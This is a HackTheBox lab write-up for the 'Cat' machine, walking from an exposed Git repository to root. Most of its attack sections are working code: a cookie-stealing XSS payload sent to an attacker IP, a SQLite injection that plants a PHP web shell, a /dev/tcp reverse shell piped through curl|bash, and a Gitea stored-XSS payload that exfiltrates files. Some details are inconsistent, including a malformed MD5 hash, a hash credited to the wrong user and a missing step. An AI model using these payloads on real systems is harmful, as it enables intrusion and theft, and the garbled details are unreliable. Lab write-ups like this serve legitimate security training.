HTB: Cat Writeup

Cat - HackTheBox Writeup

Machine Information

AttributeDetails
NameCat
OSLinux
DifficultyMedium
PointsN/A
Release DateJune 10, 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Cat is a medium-difficulty Linux machine featuring a custom PHP web application vulnerable to cross-site scripting (XSS) through improper input sanitization and insecure use of GET requests for authentication. The machine chains multiple vulnerabilities including XSS filter bypass via HTML entity encoding, cookie hijacking, SQL injection on a SQLite database to achieve remote code execution, credential extraction from Apache logs, and exploitation of a Gitea 1.22.0 instance vulnerable to CVE-2024-6886 (stored XSS) to leak credentials for root access.

TL;DR: Bypass XSS filter → Hijack admin cookie → SQL injection RCE → Extract credentials from logs → Exploit Gitea CVE-2024-6886 → Retrieve root password from private repository.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.231.253

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http Apache httpd 2.4.41 (Ubuntu)

Key Findings:

  • Git repository exposed at /.git/
  • PHPSESSID cookie missing HttpOnly flag
  • Apache 2.4.41 running on port 80

Service Enumeration

Web Application (Port 80):

The application is a “Best Cat Competition” web service built in PHP. Users can register accounts, upload cat photos for a contest, and administrators can review submissions.

Terminal window
# Extract Git repository
git clone https://github.com/arthaud/git-dumper.git
./git_dumper.py http://cat.htb git_repo
# Add hostname to hosts file
echo "10.129.231.253 cat.htb" | sudo tee -a /etc/hosts
# Directory enumeration
ffuf -w ~/wordlists/raft-medium-words.txt -u "http://cat.htb/FUZZ" -c -fc 403

Discovered Endpoints:

  • /join.php - Registration and login
  • /contest.php - Photo upload functionality
  • /admin.php - Admin panel for reviewing submissions
  • /uploads/ - Uploaded files directory

Vulnerability Assessment

  1. XSS Vulnerability (Critical): The view_cat.php file does not sanitize user input when rendering uploaded cat names in image alt attributes. The application uses a regex blacklist that does not include the double quote character ("), allowing HTML injection.

  2. Insecure Authentication (High): User authentication uses GET requests instead of POST, logging credentials in Apache access logs.

  3. SQL Injection (Critical): The accept_cat.php file is vulnerable to SQL injection in the cat name parameter—it does not use prepared statements.

  4. Improper Session Security (Medium): Session cookies lack the HttpOnly flag, making them accessible to JavaScript.


Initial Foothold

Step 1: XSS Filter Bypass via HTML Entity Encoding

The application blacklists certain characters: !@#$%^&*()/;() but misses the double quote. The view_cat.php renders cat names directly without sanitization:

<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">

By injecting a filename with quotes and the onerror event, we can break out of the alt attribute. However, parentheses are blacklisted, so we encode our JavaScript payload to hex HTML entities.

Python encoder script:

#!/usr/bin/python3
import sys
if len(sys.argv) != 2:
print(f'[!] Usage: {sys.argv[0]} <payload>')
sys.exit(1)
string = sys.argv[1]
def Encoding(string):
output = ''
for character in string:
output += '&#x' + hex(ord(character))[2:]
return output
if __name__ == '__main__':
hexHtmlEncoding = Encoding(string)
print(hexHtmlEncoding)

Payload construction:

Terminal window
# Original JavaScript payload
payload="fetch('http://10.10.14.91:8000/?cookie=' + document.cookie);"
# Encode to hex HTML entities
python3 encoder.py "$payload"
# Output: &#x66&#x65&#x74&#x63&#x68&#x28&#x27&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x31&#x30&#x2e&#x31&#x30&#x2e&#x31&#x34&#x2e&#x39&#x31&#x3a&#x38&#x30&#x30&#x30&#x2f&#x3f&#x63&#x6f&#x6f&#x6b&#x69&#x65&#x3d&#x27&#x20&#x2b&#x20&#x64&#x6f&#x63&#x75&#x6d&#x65&#x6e&#x74&#x2e&#x63&#x6f&#x6f&#x6b&#x69&#x65&#x29&#x3b

Create a corrupted image file with the XSS payload in the filename:

Terminal window
# Create a minimal GIF file with XSS in filename
# filename: x" onerror="&#x66&#x65&#x74&#x63&#x68&#x28&#x27&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x31&#x30&#x2e&#x31&#x30&#x2e&#x31&#x34&#x2e&#x39&#x31&#x3a&#x38&#x30&#x30&#x30&#x2f&#x3f&#x63&#x6f&#x6f&#x6b&#x69&#x65&#x3d&#x27&#x20&#x2b&#x20&#x64&#x6f&#x63&#x75&#x6d&#x65&#x6e&#x74&#x2e&#x63&#x6f&#x6f&#x6b&#x69&#x65&#x29&#x3b" x="
# Upload via form with corrupted image content
echo "GIF89a;corrupted" > image.gif
# Start HTTP server to capture cookies
python3 -m http.server 8000

Create an upload request in Burp Suite with the malicious filename. When the administrator reviews the submission and the browser tries to load the corrupted image, the onerror event fires, executing our JavaScript to fetch the admin’s cookie.

Captured admin cookie:
PHPSESSID=kghvq2859ksg7fbf5sfvi7gvjk

Step 3: SQL Injection for RCE

Replace your session cookie with the admin’s and navigate to /admin.php. The accept_cat.php endpoint accepts a POST request with catName and catId parameters. This function is vulnerable to SQL injection because it doesn’t use prepared statements.

// Vulnerable code in accept_cat.php
// UPDATE cats SET status='approved' WHERE id='$catId' AND name='$catName'

We can inject SQLite commands to create a web shell:

Terminal window
# SQLite payload to write a PHP web shell
payload="x');ATTACH DATABASE '/var/www/cat.htb/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (\"<?php system(\$_GET['cmd']); ?>\");--"
# URL encode the payload
urlencode_payload="x')%3bATTACH+DATABASE+'/var/www/cat.htb/lol.php'+AS+lol%3b+CREATE+TABLE+lol.pwn+(dataz+text)%3b+INSERT+INTO+lol.pwn+(dataz)+VALUES+(%22%3c%3fphp+system(%24_GET%5B'cmd'%5D)%3b+%3f%3e%22)%3b--"

POST request to exploit:

POST /accept_cat.php HTTP/1.1
Host: cat.htb
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=kghvq2859ksg7fbf5sfvi7gvjk
Content-Length: 192
catName=x')%3bATTACH+DATABASE+'/var/www/cat.htb/lol.php'+AS+lol%3b+CREATE+TABLE+lol.pwn+(dataz+text)%3b+INSERT+INTO+lol.pwn+(dataz)+VALUES+(%22%3c%3fphp+system(%24_GET%5B'cmd'%5D)%3b+%3f%3e%22)%3b--&catId=1

Step 4: Establish Reverse Shell

Terminal window
# Verify web shell
curl "http://cat.htb/lol.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Create reverse shell script
cat > shell.sh << 'EOF'
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.91/10001 0>&1
EOF
# Host it on Python server
python3 -m http.server 8000
# Trigger reverse shell from web shell
curl "http://cat.htb/lol.php?cmd=curl%2010.10.14.91:8000/shell.sh|bash"

Catch shell:

Terminal window
nc -lvnp 10001
# Connected as www-data

Privilege Escalation

Step 1: Extract Credentials from SQLite Database

Terminal window
www-data@cat:/databases$ sqlite3 /databases/cat.db
SQLite version 3.31.1 2020-01-27 19:55:54
sqlite> SELECT username,password FROM users;
axel|<redacted>
rosa|<redacted>
robert|<redacted>
fabian|<redacted>
jerryson|<redacted>
larry|<redacted>
royer|c598f6b844a36fa7836fba0835f1f6
peter|<redacted>
angel|<redacted>
jobert|<redacted>

Step 2: Crack MD5 Hashes

Terminal window
# Extract crackable hash
echo "royer:c598f6b844a36fa7836fba0835f1f6" > hash.txt
# Crack with John
john -w=rockyou.txt hash.txt --format=Raw-MD5
# Result: soyunaprincesarosa (rosa)

Step 3: Leverage adm Group Membership

Switch to user rosa using the cracked password. Check group membership:

Terminal window
rosa@cat:~$ groups
rosa adm

The adm group grants read access to Apache logs:

Terminal window
rosa@cat:/var/log/apache2$ ls -lah
-rw-r----- 1 root adm 20M Jun 10 18:50 access.log
-rw-r----- 1 root adm 195K Jan 31 12:30 access.log.1

Step 4: Extract Credentials from Apache Logs

Grep the logs for login attempts (GET requests contain credentials):

Terminal window
rosa@cat:/var/log/apache2$ grep 'axel\|jobert' access.log | grep loginPassword
127.0.0.1 - - [10/Jun/2025:18:53:29 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329

Step 5: Switch to axel User

Terminal window
rosa@cat:~$ su axel
Password: aNdZwgC4tI9gnVXv_e3Q
axel@cat:~$ cat user.txt
<redacted>

Step 6: Discover Internal Gitea Service

Check for additional open ports on localhost:

Terminal window
axel@cat:~$ ss -tuln | grep LISTEN
tcp LISTEN 0 128 127.0.0.1:3000
tcp LISTEN 0 128 127.0.0.1:25
tcp LISTEN 0 128 127.0.0.1:587

Review axel’s mail to discover Gitea at port 3000:

Terminal window
axel@cat:~$ cat /var/mail/axel
# Reveals Gitea repository at http://localhost:3000/administrator/Employee-management/

Step 7: Port Forward to Gitea via SSH

Create an SSH key pair and set up port forwarding:

Terminal window
axel@cat:~/.ssh$ ssh-keygen -t ed25519 -N ""
# Generate key pair
axel@cat:~/.ssh$ cp id_ed25519.pub authorized_keys

From attacker machine:

Terminal window
ssh -L 3000:127.0.0.1:3000 -i key.pem axel@cat.htb
# Now access http://localhost:3000 locally

Step 8: Exploit Gitea CVE-2024-6886 (Stored XSS)

Gitea 1.22.0 is vulnerable to stored XSS in repository descriptions. Log in as axel with the same password discovered in logs: aNdZwgC4tI9gnVXv_e3Q

Vulnerability: Repository settings allow HTML injection in the description field.

Payload to extract README.md from administrator repository:

<a href="javascript:var req = new XMLHttpRequest();req.open('GET', 'http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php', false);req.send();var response = req.responseText;var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.91:8000/?content=' + btoa(response), true);req2.send();">Click</a>

Steps:

  1. Create a new repository or edit an existing one
  2. Navigate to Settings
  3. In the Description field, input the above payload
  4. Save changes
  5. Access the repository page and click the link to trigger the XSS
  6. The JavaScript will execute with your privileges and send the base64-encoded content to your server

Step 9: Decode Retrieved Content

When the administrator (or any user with access to that repository) views the page, the XSS executes and sends us the file content:

Terminal window
# Captured base64 response
content="PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLd..."
# Decode base64
echo "$content" | base64 -d
# Output:
# <?php
# $valid_username = 'admin';
# $valid_password = 'IKw75eR0MR7CMIxhH0';
# ...

Step 10: Gain Root Access

Use the extracted credentials to switch to root:

Terminal window
axel@cat:~$ su root
Password: IKw75eR0MR7CMIxhH0
root@cat:~# cat root.txt
<redacted>

Attack Chain Summary

Exposed Git Repository
Code Review (Identify XSS Vulnerability)
XSS via Hex HTML Entities (Bypass Filter)
Cookie Hijacking (Admin Session)
SQL Injection (SQLite RCE via ATTACH DATABASE)
Web Shell Deployment
Reverse Shell as www-data
Extract Credentials (SQLite Database + MD5 Crack)
Lateral Movement (Switch to rosa via cracked password)
Read Apache Logs (adm group access)
Extract Credentials from Logs (axel password from GET request)
Lateral Movement (Switch to axel)
SSH Port Forwarding (Access internal Gitea)
Gitea CVE-2024-6886 (Stored XSS in repository description)
XXS Payload Execution (Read private repository files)
Extract Root Password (base64 decode leaked content)
Root Access via su

Tools Used

ToolPurpose
nmapNetwork reconnaissance and port scanning
git-dumperExtract exposed Git repositories
ffufDirectory and endpoint enumeration
burp-suiteHTTP request interception and analysis
sqlite3SQLite database query and extraction
johnMD5 hash cracking
curlHTTP requests and web shell interaction
ncNetcat for reverse shell
sshPort forwarding to internal services
base64Encoding/decoding payload data

Key Learnings

Techniques Practiced

  • XSS Filter Bypass via Encoding: Bypassing regex-based input filters using hex HTML entity encoding (&#xNN;)
  • Cookie Hijacking: Leveraging XSS to steal session cookies and impersonate administrators
  • SQL Injection Exploitation: Injecting SQLite commands to achieve RCE via ATTACH DATABASE and INSERT INTO statements
  • Credential Extraction from Logs: Exploiting insecure GET-based authentication to recover credentials from server logs
  • CVE-2024-6886 Exploitation: Stored XSS in Gitea repository descriptions for unauthorized information disclosure
  • Lateral Movement Techniques: Chaining multiple credential sources (database, logs, APIs) to escalate privileges
  • Port Forwarding for Internal Services: Using SSH tunneling to access services bound to localhost

Lessons Learned

  1. Never log sensitive data in GET requests. Use POST requests for authentication to avoid credential exposure in access logs.

  2. Input validation should use whitelists, not blacklists. The regex blacklist missed the double quote character, allowing breakout from HTML attributes.

  3. Always sanitize output with context-aware encoding. Use htmlspecialchars() for HTML context, not just sanitizing at input.

  4. Prepared statements prevent SQL injection. The vulnerable code should use parameterized queries instead of string concatenation.

  5. Session cookies require security flags. The missing HttpOnly flag allowed JavaScript access to session identifiers.

  6. Keep systems and dependencies patched. Gitea 1.22.0’s CVE-2024-6886 demonstrates the importance of timely security updates.

  7. File permissions matter. The adm group’s access to Apache logs was a critical escalation vector—principle of least privilege should restrict log access further.

  8. Repository exposure is critical. Exposed .git directories leak entire application source code, enabling attackers to identify vulnerabilities at scale.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>